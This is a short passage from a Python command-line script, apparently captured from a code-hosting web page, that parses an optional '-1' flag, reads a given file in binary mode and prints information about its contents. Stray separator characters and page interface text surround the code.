bashcolors.RED = ""
|
||||
bashcolors.GREEN = ""
|
||||
bashcolors.WARNING = ""
|
||||
bashcolors.ENDC = ""
|
||||
|
||||
if args[0] == '-1':
|
||||
args.pop(0)
|
||||
Options.FORCE_1K = True
|
||||
|
||||
filename = args[0]
|
||||
with open(filename, "rb") as f:
|
||||
data = f.read()
|
||||
print_info(data)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main(sys.argv[1:])
|
Loading…
Add table
Add a link
Reference in a new issue